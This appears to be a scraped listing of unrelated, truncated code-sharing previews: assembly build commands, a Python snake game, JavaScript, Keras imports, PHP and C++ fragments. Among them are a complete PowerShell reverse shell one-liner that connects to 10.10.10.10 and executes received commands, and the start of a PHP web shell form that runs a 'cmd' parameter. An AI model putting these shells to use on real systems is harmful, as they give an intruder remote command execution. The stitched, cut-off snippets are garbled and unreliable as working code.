how to assemble and link:
nasm -f elf32 -o <filename>.o <filename>.asm
ld -m elf_i386 -o <filename> <filename>.otemplate code (hello world):
section .text
global _start| # Simple Snake Game in Python 3 for Beginners | |
| # By @TokyoEdTech | |
| import turtle | |
| import time | |
| import random | |
| delay = 0.1 | |
| # Score |
| /** | |
| * Checking if an image exist in your image folder | |
| */ | |
| let loadImage = function(variable){ | |
| var image = new Image(); | |
| var url_image = './ImageFolder/' + variable + '.jpg'; | |
| image.src = url_image; | |
| if (image.width == 0) { | |
| return `<img src='./ImageFolder/defaultImage.jpg'>`; | |
| } else { |
| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
| license: gpl-3.0 | |
| height: 1030 | |
| scrolling: yes |
| from __future__ import print_function | |
| import imageio | |
| from PIL import Image | |
| import numpy as np | |
| import keras | |
| from keras.layers import Input, Dense, Conv2D, MaxPooling2D, AveragePooling2D, ZeroPadding2D, Dropout, Flatten, Concatenate, Reshape, Activation | |
| from keras.models import Model | |
| from keras.regularizers import l2 | |
| from keras.optimizers import SGD |
| <?php | |
| function closestLowerHigherNr($array, $nr) { | |
| sort($array); | |
| $re_arr = array('lower'=>min(current($array), $nr), 'higher'=>max(end($array), $nr), 'closest'=>$nr); | |
| foreach($array AS $num){ | |
| if($nr > $num) $re_arr['lower'] = $num; | |
| else if($nr <= $num){ | |
| $re_arr['higher'] = $num; | |
| break; | |
| } |
| #include <iostream> | |
| #include <cstdarg> | |
| #include <string> | |
| #include <fstream> | |
| #include <memory> | |
| #include <cstdio> | |
| std::string exec(const char* cmd) { | |
| std::shared_ptr<FILE> pipe(popen(cmd, "r"), pclose); | |
| if (!pipe) return "ERROR"; |